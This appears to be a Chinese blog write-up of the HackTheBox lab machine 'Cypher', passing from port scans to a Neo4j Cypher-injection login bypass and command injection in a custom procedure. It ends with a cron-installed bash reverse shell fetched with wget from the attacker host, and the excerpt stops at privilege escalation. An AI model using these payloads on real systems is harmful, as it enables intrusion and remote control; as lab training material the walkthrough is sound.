{"id":235,"date":"2025-03-02T20:07:32","date_gmt":"2025-03-02T12:07:32","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=235"},"modified":"2026-01-29T16:16:16","modified_gmt":"2026-01-29T08:16:16","slug":"235","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2025\/03\/02\/235\/","title":{"rendered":"HTB\u9776\u673a Cypher \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"
\n

\u76ee\u6807\u4fe1\u606f<\/h1>\n

IP\u5730\u5740\uff1a<\/strong>10.10.11.57<\/strong><\/code><\/p><\/blockquote>\n

\n

\u4fe1\u606f\u6536\u96c6<\/h1>\n

ICMP\u68c0\u6d4b<\/h2>\n
PING 10.10.11.57 (10.10.11.57) 56(84) bytes of data.\n64 bytes from 10.10.11.57: icmp_seq=1 ttl=63 time=365 ms\n64 bytes from 10.10.11.57: icmp_seq=2 ttl=63 time=361 ms\n64 bytes from 10.10.11.57: icmp_seq=3 ttl=63 time=364 ms\n64 bytes from 10.10.11.57: icmp_seq=4 ttl=63 time=362 ms\n\n--- 10.10.11.57 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3005ms\nrtt min\/avg\/max\/mdev = 361.324\/362.887\/364.964\/1.456 ms<\/code><\/pre>\n
\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7684\u7f51\u7edc\u8fde\u63a5\u72b6\u6001\u6b63\u5e38\u3002<\/p>\n
\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n
# Nmap 7.95 scan initiated Sun Mar  2 08:31:55 2025 as: \/usr\/lib\/nmap\/nmap -sF -p- --min-rate 3000 -oN .\/fin_result.txt 10.10.11.57\nNmap scan report for 10.10.11.57\nHost is up (0.36s latency).\nAll 65535 scanned ports on 10.10.11.57 are in ignored states.\nNot shown: 65535 open|filtered tcp ports (no-response)\n\n# Nmap done at Sun Mar  2 08:32:41 2025 -- 1 IP address (1 host up) scanned in 46.39 seconds<\/code><\/pre>\n
\u65e0\u6cd5\u63a2\u6d4b\u9776\u673a\u5f00\u653e\u7aef\u53e3\u72b6\u6001\u3002<\/p>\n
\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n
TCP<\/strong><\/code>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.95 scan initiated Sun Mar  2 08:39:32 2025 as: \/usr\/lib\/nmap\/nmap -sT -sV -A -p- --min-rate 3000 -oN .\/tcp_report.txt 10.10.11.57\nWarning: 10.10.11.57 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.11.57\nHost is up (0.36s latency).\nNot shown: 65491 closed tcp ports (conn-refused), 42 filtered tcp ports (no-response)\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)\n|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)\n80\/tcp open  http    nginx 1.24.0 (Ubuntu)\n|_http-title: Did not follow redirect to http:\/\/cypher.htb\/\n|_http-server-header: nginx\/1.24.0 (Ubuntu)\nDevice type: general purpose\nRunning: Linux 5.X\nOS CPE: cpe:\/o:linux:linux_kernel:5\nOS details: Linux 5.0 - 5.14\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using proto 1\/icmp)\nHOP RTT       ADDRESS\n1   362.78 ms 10.10.14.1\n2   362.97 ms 10.10.11.57\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Mar  2 08:40:31 2025 -- 1 IP address (1 host up) scanned in 59.36 seconds<\/code><\/pre>\n
UDP<\/code>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.95 scan initiated Sun Mar  2 08:41:18 2025 as: \/usr\/lib\/nmap\/nmap -sU -p- --min-rate 3000 -oN .\/udp_ports.txt 10.10.11.57\nWarning: 10.10.11.57 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.11.57\nHost is up (0.44s latency).\nAll 65535 scanned ports on 10.10.11.57 are in ignored states.\nNot shown: 65288 open|filtered udp ports (no-response), 247 closed udp ports (port-unreach)\n\n# Nmap done at Sun Mar  2 08:45:23 2025 -- 1 IP address (1 host up) scanned in 245.33 seconds<\/code><\/pre>\n
UDP<\/strong><\/code>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
\uff08\u65e0\uff09<\/code><\/pre>\n
\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3aUbuntu Linux<\/code>\uff0c\u6839\u636eHackTheBox<\/code>\u9776\u673a\u63d0\u4ea4\u89c4\u5219\uff0c\u8ba4\u4e3a\u9776\u673a\u4e3b\u57df\u540d\u4e3acypher.htb<\/code>\u3002<\/p>\n
\n
\u670d\u52a1\u63a2\u6d4b<\/h1>\n
SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n
\u7aef\u53e3Banner<\/code>\uff1a<\/p>\n
\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/cypher]\n\u2514\u2500# nc -nv 10.10.11.57 22\n(UNKNOWN) [10.10.11.57] 22 (ssh) open\nSSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8<\/code><\/pre>\n
Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n
\u6253\u5f00\u4e3b\u9875\uff1ahttp:\/\/cypher.htb\/<\/code><\/p>\n
\"\"<\/p>\n
\u67e5\u770b\u6e90\u4ee3\u7801\uff0c\u53d1\u73b0\u4e00\u6761\u5177\u6709\u53ef\u7591\u4fe1\u606f\u7684\u6ce8\u91ca\uff1a<\/p>\n
<!-- \"what is the acceptable amount of suffering, is the question.\" -TheFunky1 --><\/code><\/pre>\n
\u9664\u6b64\u4e4b\u5916\uff0c\u672a\u53d1\u73b0\u4efb\u4f55\u654f\u611f\u4fe1\u606f\u3002<\/p>\n
\u5c1d\u8bd5\u70b9\u51fb\u4e3b\u9875\u4e0a\u65b9Login<\/code>\u94fe\u63a5\uff0c\u8f6c\u81f3\u767b\u5f55\u9875\u9762\uff1a<\/p>\n
\"\"<\/p>\n
\u67e5\u770b\u5176\u7f51\u9875\u6e90\u4ee3\u7801\uff0c\u53d1\u73b0\u5176\u8d1f\u8d23\u53d1\u9001\u5e76\u5904\u7406\u767b\u5f55\u8ba4\u8bc1\u7ed3\u679c\u7684JavaScript<\/code>\u4ee3\u7801\u4e2d\u542b\u6709\u4e00\u6bb5\u6ce8\u91ca\uff0c\u79f0\u201c\u4e0d\u8981\u628a\u7528\u6237\u8d26\u53f7\u5b58\u50a8\u5728Neo4j<\/code>\u6570\u636e\u5e93\u5185\u201d\uff1a<\/p>\n
\/\/ TODO: don't store user accounts in neo4j\n    function doLogin(e) {\n      e.preventDefault();\n      var username = $(\"#usernamefield\").val();\n      var password = $(\"#passwordfield\").val();\n      $.ajax({\n        url: '\/api\/auth',\n        type: 'POST',\n        contentType: 'application\/json',\n        data: JSON.stringify({ username: username, password: password }),\n        success: function (r) {\n          window.location.replace(\"\/demo\");\n        },\n        error: function (r) {\n          if (r.status == 401) {\n            notify(\"Access denied\");\n          } else {\n            notify(r.responseText);\n          }\n        }\n      });\n    }\n\n    $(\"form\").keypress(function (e) {\n      if (e.keyCode == 13) {\n        doLogin(e);\n      }\n    })\n\n    $(\"#loginsubmit\").click(doLogin);<\/code><\/pre>\n
\u6000\u7591\u8be5Web<\/code>\u5e94\u7528\u4f7f\u7528\u4e86Neo4j<\/code>\u6570\u636e\u5e93\u3002<\/p>\n
\u5c1d\u8bd5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n
# Dirsearch started Sun Mar  2 15:58:22 2025 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/cypher.htb -x 400,403,404 -t 60 -e py,pyc,js,html,txt,zip,tar.gz,json,xml,conf\n\n200     5KB  http:\/\/cypher.htb\/about\n200     5KB  http:\/\/cypher.htb\/about.html\n307     0B   http:\/\/cypher.htb\/api    -> REDIRECTS TO: \/api\/docs\n307     0B   http:\/\/cypher.htb\/api\/    -> REDIRECTS TO: http:\/\/cypher.htb\/api\/api\n307     0B   http:\/\/cypher.htb\/demo    -> REDIRECTS TO: \/login\n307     0B   http:\/\/cypher.htb\/demo\/    -> REDIRECTS TO: http:\/\/cypher.htb\/api\/demo\n200     4KB  http:\/\/cypher.htb\/login\n200     4KB  http:\/\/cypher.htb\/login.html\n301   178B   http:\/\/cypher.htb\/testing    -> REDIRECTS TO: http:\/\/cypher.htb\/testing\/<\/code><\/pre>\n
\u53d1\u73b0\u964c\u751f\u76ee\u5f55\/testing<\/code>\uff0c\u5c1d\u8bd5\u8bbf\u95ee\uff0c\u53d1\u73b0\u76ee\u5f55\u5185\u53ea\u6709\u4e00\u4e2ajar<\/code>\u5305\uff1a<\/p>\n
\"\"<\/p>\n
\u76f4\u63a5\u4e0b\u8f7d\uff0c\u4f7f\u7528\u5728\u7ebfJava<\/code>\u5305\u53cd\u7f16\u8bd1\u5e73\u53f0\u8fdb\u884c\u53cd\u7f16\u8bd1\u64cd\u4f5c\u3002\u4e0a\u4f20\u540e\u67e5\u770bcom\/cypher\/neo4j\/apoc\/CustomFunctions.class<\/code>\uff1a<\/p>\n
\"\"<\/p>\n
package com.cypher.neo4j.apoc;\n\nimport java.io.BufferedReader;\nimport java.io.InputStreamReader;\nimport java.util.Arrays;\nimport java.util.concurrent.TimeUnit;\nimport java.util.stream.Stream;\nimport org.neo4j.procedure.Description;\nimport org.neo4j.procedure.Mode;\nimport org.neo4j.procedure.Name;\nimport org.neo4j.procedure.Procedure;\n\/* loaded from: CustomFunctions.class *\/\npublic class CustomFunctions {\n    @Procedure(name = \"custom.getUrlStatusCode\", mode = Mode.READ)\n    @Description(\"Returns the HTTP status code for the given URL as a string\")\n    public Stream<StringOutput> getUrlStatusCode(@Name(\"url\") String url) throws Exception {\n        if (!url.toLowerCase().startsWith(\"http:\/\/\") && !url.toLowerCase().startsWith(\"https:\/\/\")) {\n            url = \"https:\/\/\" + url;\n        }\n        String[] command = {\"\/bin\/sh\", \"-c\", \"curl -s -o \/dev\/null --connect-timeout 1 -w %{http_code} \" + url};\n        System.out.println(\"Command: \" + Arrays.toString(command));\n        Process process = Runtime.getRuntime().exec(command);\n        BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));\n        BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));\n        StringBuilder errorOutput = new StringBuilder();\n        while (true) {\n            String line = errorReader.readLine();\n            if (line == null) {\n                break;\n            }\n            errorOutput.append(line).append(\"n\");\n        }\n        String statusCode = inputReader.readLine();\n        System.out.println(\"Status code: \" + statusCode);\n        boolean exited = process.waitFor(10L, TimeUnit.SECONDS);\n        if (!exited) {\n            process.destroyForcibly();\n            statusCode = \"0\";\n            System.err.println(\"Process timed out after 10 seconds\");\n        } else {\n            int exitCode = process.exitValue();\n            if (exitCode != 0) {\n                statusCode = \"0\";\n                System.err.println(\"Process exited with code \" + exitCode);\n            }\n        }\n        if (errorOutput.length() > 0) {\n            System.err.println(\"Error output:n\" + errorOutput.toString());\n        }\n        return Stream.of(new StringOutput(statusCode));\n    }\n}<\/code><\/pre>\n
\u53d1\u73b0\u8be5jar<\/code>\u5305\u5b9e\u9645\u4e0a\u4e3aneo4j<\/code>\u6570\u636e\u5e93\u4e00\u4e2a\u540d\u4e3agetUrlStatusCode<\/code>\u81ea\u5b9a\u4e49\u5b58\u50a8\u6269\u5c55\u7684\u7a0b\u5e8f\u5305\u3002\u7ecf\u8fc7\u5bf9\u8be5\u7a0b\u5e8f\u7684\u5206\u6790\uff0c\u53d1\u73b0\u7b2c20<\/code>\u884c\u5b58\u5728\u547d\u4ee4\u6ce8\u5165\u6f0f\u6d1e\u3002\u7a0b\u5e8f\u4ece\u51fd\u6570\u8c03\u7528\u63a5\u6536\u4e86\u7f51\u5740\u53c2\u6570url<\/code>\uff0c\u968f\u540e\u76f4\u63a5\u5c06\u672a\u7ecf\u5b89\u5168\u8fc7\u6ee4\u7684url<\/code>\u53d8\u91cf\u62fc\u63a5\u5230\u4e86\u547d\u4ee4\u5b57\u7b26\u4e32command<\/code>\u5185\uff0c\u63a5\u7740\u53c8\u5728\u7b2c22<\/code>\u884c\u76f4\u63a5\u6267\u884c\u4e86curl<\/code>\u547d\u4ee4\u3002<\/p>\n
\n
\u6e17\u900f\u6d4b\u8bd5<\/h1>\n
Neo4j NoSQL\u6ce8\u5165\u767b\u5f55\u7ed5\u8fc7<\/h2>\n
\u6253\u5f00\u767b\u5f55\u9875\/login<\/code>\uff0c\u5728\u7528\u6237\u5bc6\u7801\u6846\u5185\u968f\u4fbf\u8f93\u5165\u4e00\u4e9b\u5185\u5bb9\uff0c\u968f\u540e\u542f\u52a8BurpSuite<\/code>\u62e6\u622a\u8bf7\u6c42\u5305\uff0c\u70b9\u51fbSign in<\/code>\u6309\u94ae\u53d1\u9001\u767b\u5f55\u8bf7\u6c42\u540e\uff0c\u67e5\u770b\u8bf7\u6c42\u5386\u53f2\uff1a<\/p>\n
\"\"<\/p>\n
\u76f4\u63a5\u5c06\u8bf7\u6c42\u5305\u53d1\u9001\u5230Repeater<\/code>\u6a21\u5757\uff0c\u5e76\u5728username<\/code>\u53c2\u6570\u5185\u5bb9\u6700\u540e\u6dfb\u52a0'<\/code>\u53f7\uff0c\u5c06\u6d4b\u8bd5NoSQL<\/code>\u6ce8\u5165\u7684\u6076\u610f\u8bf7\u6c42\u53d1\u9001\u81f3\u670d\u52a1\u5668\uff1a<\/p>\n
\"\"<\/p>\n
\u6210\u529f\u53d1\u73b0\u767b\u5f55\u9875\/login<\/code>\u7528\u6237\u540d\u53c2\u6570\u5b58\u5728NoSQL<\/code>\u6ce8\u5165\u6f0f\u6d1e\uff01\u5176NoSQL<\/code>\u67e5\u8be2\u8bed\u53e5\u4e3a\uff1a<\/p>\n
MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '{USERNAME}' return h.value as hash<\/code><\/pre>\n
\u53d1\u73b0\u540e\u7aef\u7a0b\u5e8f\u4f1a\u6839\u636e\u8f93\u5165\u7528\u6237\u540d\u67e5\u8be2\u5bc6\u7801\uff0c\u5982\u679c\u67e5\u51fa\u7528\u6237\u540d\uff0c\u6570\u636e\u5e93\u4f1a\u5c06\u5176\u5bc6\u7801\u4f7f\u7528SHA-1<\/code>\u7b97\u6cd5\u8f6c\u4e3a\u54c8\u5e0c\u503c\u8fd4\u56de\u3002\u63a8\u6d4b\u540e\u7aef\u7a0b\u5e8f\u4e5f\u5c06\u8f93\u5165\u7684\u5bc6\u7801\u8f6c\u6362\u6210\u4e86SHA-1<\/code>\u54c8\u5e0c\u503c\uff0c\u548c\u6570\u636e\u5e93\u8fd4\u56de\u7684\u6b63\u786e\u7ed3\u679c\u8fdb\u884c\u4e86\u6bd4\u5bf9\uff0c\u82e5\u76f8\u540c\u5219\u5224\u5b9a\u767b\u5f55\u6210\u529f\u3002<\/p>\n
\u7531\u4e8eusername<\/code>\u53c2\u6570\u5b58\u5728NoSQL<\/code>\u6ce8\u5165\u6f0f\u6d1e\uff0cSQL<\/code>\u8bed\u53e5\u53ef\u63a7\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7return<\/code>\u8bed\u53e5\u63a7\u5236\u8fd4\u56de\u7684\u54c8\u5e0c\u503c\uff0c\u65e0\u8bba\u7528\u6237\u540d\u662f\u5426\u6b63\u786e\u3002\u8fd9\u6837\u4e00\u6765\uff0c\u53ea\u8981\u586b\u5199password<\/code>\u53c2\u6570\uff0c\u4f7f\u5176\u660e\u6587\u5185\u5bb9\u7684SHA-1<\/code>\u54c8\u5e0c\u503c\u548c\u6211\u4eec\u63a7\u5236SQL<\/code>\u8bed\u53e5\u6240\u8fd4\u56de\u7684\u54c8\u5e0c\u503c\u76f8\u540c\uff0c\u5c31\u53ef\u4ee5\u8fdb\u884c\u767b\u5f55\u7ed5\u8fc7\u4e86\u3002<\/p>\n
\u76f4\u63a5\u6784\u9020SQL<\/code>\u6ce8\u5165\u8bed\u53e5\u3002\u8fd9\u91cc\u6211\u4eec\u4f7f\u7528\u660e\u6587misaka19008<\/code>\u7684SHA-1<\/code>\u54c8\u5e0c\uff1aa862a18b9ff7c4249888f423feda33093397cd3f<\/code><\/p>\n
{\"username\":\"admin' or True return lTrim(' a862a18b9ff7c4249888f423feda33093397cd3f') as hash \/\/ \",\"password\":\"misaka19008\"}<\/code><\/pre>\n
\u6b64\u65f6\uff0c\u6570\u636e\u5e93\u5b9e\u9645\u6267\u884c\u7684\u8bed\u53e5\u4e3a\uff1a<\/p>\n
MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin' or True return lTrim(' a862a18b9ff7c4249888f423feda33093397cd3f') as hash \/\/ ' return h.value as hash<\/code><\/pre>\n
\"\"<\/p>\n
\u767b\u5f55\u7ed5\u8fc7\u6d4b\u8bd5\u6210\u529f\uff01<\/p>\n
\u518d\u6b21\u6253\u5f00BurpSuite<\/code>\u62e6\u622a\uff0c\u968f\u540e\u5728\/login<\/code>\u9875\u9762\u91cd\u65b0\u53d1\u9001\u767b\u5f55\u8bf7\u6c42\uff0c\u4fee\u6539POST<\/code>\u6570\u636e\u540e\uff0c\u70b9\u51fbForward<\/code>\u6309\u94ae\u53d1\u9001\uff1a<\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u8df3\u8f6c\u5230\u4e86\/demo<\/code>\u7aef\u70b9\uff0c\u4f3c\u4e4e\u662f\u4e00\u4e2a\u7528\u4e8e\u6267\u884cNeo4j<\/code>\u67e5\u8be2\u8bed\u53e5\u7684Web<\/code>\u5e94\u7528\u3002<\/p>\n
Neo4j\u81ea\u5b9a\u4e49\u5b58\u50a8\u8fc7\u7a0b RCE\u6f0f\u6d1e\u5229\u7528<\/h2>\n
\u5728\u670d\u52a1\u63a2\u6d4b\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u6210\u529f\u53d1\u73b0\u9776\u673aNeo4j<\/code>\u6570\u636e\u5e93\u7591\u4f3c\u5b89\u88c5\u4e86\u7528\u6237\u5b58\u50a8\u8fc7\u7a0bgetUrlStatusCode<\/code>\uff0c\u4e14\u8be5\u5b58\u50a8\u8fc7\u7a0b\u5b58\u5728RCE<\/code>\u6f0f\u6d1e\uff0c\u73b0\u5728\u5c31\u5728\/demo<\/code>\u7aef\u70b9\u5c1d\u8bd5\u8fdb\u884c\u8c03\u7528\u3002\u9996\u5148\u5c1d\u8bd5\u6267\u884cid<\/code>\u547d\u4ee4\uff1a<\/p>\n
call custom.getUrlStatusCode(\"127.0.0.1;id\")<\/code><\/pre>\n
\"\"<\/p>\n
\u6210\u529f\u6267\u884cid<\/code>\u547d\u4ee4\uff01\u53d1\u73b0\u5f53\u524d\u7528\u6237\u4e3aneo4j<\/code>\u3002<\/p>\n
\u63a5\u4e0b\u6765\u8fdb\u884c\u53cd\u5f39Shell<\/code>\u3002\u7531\u4e8e\u5b58\u50a8\u8fc7\u7a0b\u9650\u5236\u4e00\u4e2a\u547d\u4ee4\u6267\u884c\u7ebf\u7a0b\u6700\u5927\u4e3a10<\/code>\u79d2\uff0c\u8d85\u8fc710<\/code>\u79d2\u540e\u5f3a\u5236\u7ec8\u6b62\u7ebf\u7a0b\uff0c\u51b3\u5b9a\u4f7f\u7528crontab<\/code>\u547d\u4ee4\uff0c\u6dfb\u52a0\u5b9a\u65f6\u4efb\u52a1\u8fdb\u884c\u53cd\u5f39Shell<\/code>\u64cd\u4f5c\u3002\u9996\u5148\u7f16\u5199\u53cd\u5f39Shell<\/code>\u7684\u8ba1\u5212\u4efb\u52a1\u914d\u7f6e\uff1a<\/p>\n
*\/1 * * * * \/bin\/bash -c 'bash -i >& \/dev\/tcp\/10.10.14.2\/443 0>&1'<\/code><\/pre>\n
\u5c06\u5176\u4fdd\u5b58\u5230\u6587\u4ef6\u540e\uff0c\u5728\u653b\u51fb\u673a80<\/code>\u7aef\u53e3\u6253\u5f00SimpleHTTPServer<\/code>\uff0c\u968f\u540e\u6267\u884c\u5982\u4e0b\u67e5\u8be2\u8bed\u53e5\u4e0b\u8f7d\uff1a<\/p>\n
call custom.getUrlStatusCode(\"127.0.0.1;wget http:\/\/10.10.14.2\/revshell_cron.txt -O \/tmp\/revshell_cron.txt\")<\/code><\/pre>\n
\u968f\u540e\uff0c\u4f7f\u7528crontab<\/code>\u547d\u4ee4\u6dfb\u52a0\u6076\u610f\u8ba1\u5212\u4efb\u52a1\uff1a<\/p>\n
call custom.getUrlStatusCode(\"127.0.0.1;cat \/tmp\/revshell_cron.txt | crontab\")<\/code><\/pre>\n
\u7b49\u5f85\u4e00\u4f1a\u513f\u540e\uff0c\u5373\u53ef\u6536\u5230\u53cd\u5f39Shell<\/code>\uff1a<\/p>\n
\"\"<\/p>\n
\u6210\u529f\uff01\uff01<\/strong><\/p>\n
\n
\u6743\u9650\u63d0\u5347<\/h1>\n
\u53d1\u73b0graphasm\u7528\u6237\u5bc6\u7801<\/h2>\n
\u767b\u5f55\u7cfb\u7edf\u540e\uff0c\u8fdb\u884c\u76ee\u5f55\u4fe1\u606f\u6536\u96c6\u3002\u5728\/home\/graphasm\/bbot_preset.yml<\/code>\u6587\u4ef6\u5185\u53d1\u73b0\u7528\u6237\u51ed\u636e\uff1a<\/p>\n
\"\"<\/p>\n
\u5c1d\u8bd5\u901a\u8fc7\u8be5\u51ed\u636e\u6267\u884csudo -l<\/code>\u547d\u4ee4\uff0c\u5931\u8d25\u3002<\/p>\n
\u5c1d\u8bd5\u4f7f\u7528\u5982\u4e0b\u51ed\u636e\u767b\u5f55SSH<\/code>\uff1a<\/p>\n